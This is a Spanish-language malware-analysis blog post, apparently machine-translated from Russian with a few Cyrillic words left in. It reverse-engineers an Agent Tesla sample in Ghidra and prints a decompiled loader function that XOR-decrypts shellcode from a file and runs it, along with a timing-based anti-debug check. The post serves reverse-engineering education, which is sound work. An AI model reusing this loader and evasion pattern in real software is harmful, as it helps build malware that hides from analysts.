Recientemente me encontré con un interesante malware llamado Agent Tesla. Está muy extendido y todavía se utiliza en la actualidad (muestra de 2023). Le sugiero que intente examinarlo y ver qué hay dentro del malware de combate.
Además, nos encontraremos con:
- descomprimir el instalador de NSIS y analizar el script de instalación resultante, que nos ayudará a descomprimirlo;
- funciones de поиском
main
al vincularlo a CRT (es posible que se sorprenda de la cantidad de código que el compilador arroja implícitamente en el .exe); - descifrado y volcado de shellcode y búsqueda preliminar del mismo utilizando la función de asignación de memoria;
- cargando correctamente el código shell resultante en el desensamblador.
Esta vez romperé con mi tradición de usar IDA Pro para revertir: usemos Ghidra en su lugar. Han pasado varios años desde su lanzamiento, ha adquirido una impresionante lista de correcciones de errores y nuevas funciones, además, es gratuito y se actualiza constantemente.
información
La última vez que escribió sobre Ghidra en 2019, cuando esta herramienta acababa de estar disponible para el público en general.
Trabajo de preparatoria
Comenzamos la etapa de reconocimiento preliminar: arrojamos una muestra al detector de empaquetador y protector DiE. Descubrimos que el malware se suministra como un instalador de NSIS.
Извлекаем contenido del instalador y obtenemos varios archivos. Tenga en cuenta que entre los archivos descomprimidos debe haber un script NSIS que contenga información útil. Para extraer, utilicé una versión desactualizada de 7-Zip (la compatibilidad con la extracción de scripts comienza en la versión 4.42 y finaliza en la versión 15.06).
En esta parte del script vemos una lista de archivos en el instalador y parámetros para ejecutar un único .exe (esto es interesante y nos será útil en el futuro). Entre otros datos del script hay una ruta de instalación. InstallDir $TEMP
. Ahora veamos el archivo PE en DiE.
Se puede ver que el archivo está escrito en C/C++, compilado para sistemas de 32 bits y, a juzgar por la entropía no particularmente alta, no está empaquetado. Es hora de subirlo a Ghidra.
reversim
Entre las funciones enumeradas en la tabla de importación se encuentra la mención VirtualAlloc
. Esto es lo que nos interesa, porque el malware a menudo lo utiliza para reservar memoria para descomprimir. Restauramos la referencia cruzada y vemos la función en la que se llama.
Podríamos intentar tomar la ruta “rápida”: cargar el malware en el depurador, poner un punto de interrupción en VirtualAlloc
y… fracasar porque el Agente Tesla terminará antes del punto de interrupción. Por lo tanto, siempre le aconsejo que primero examine las llamadas interesantes y el código adyacente en forma estática.
La función es pequeña, daré la lista completa del descompilador Ghidra. Además, casi todo nos resulta interesante.
BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)
{
DWORD DVar1;
DWORD DVar2;
BOOL BVar3;
HANDLE hFile;
HANDLE hFileMappingObject;
LPVOID _Src;
code *_Dst;
int local_8;
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {
hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
if (hFile == 0xffffffff) {
BVar3 = 0;
}
else {
hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);
if (hFileMappingObject == 0x0) {
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);
if (_Src == 0x0) {
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
if (_Dst == 0x0) {
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
FID_conflict:_memcpy(_Dst,_Src,0x1de0);
for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
}
(*_Dst)();
VirtualFree(_Dst,0,0x8000);
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
BVar3 = CloseHandle(hFile);
}
}
}
}
}
return BVar3;
}
Aquí, las líneas de código que inmediatamente llaman la atención contienen un antidepuración simple:
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {
Se trata de una conocida técnica antidepuración que comprueba la velocidad de ejecución del código. Si el código se ejecuta demasiado lento (medimos el tiempo de ejecución en milisegundos usando dos llamadas GetTickCount
), permanente BVar3
toma el valor 0 y el programa finaliza.
2024-04-23 12:45:06
#Agente #Tesla #Aprendiendo #combatir #malware #reversa #Ghidra #Hacker,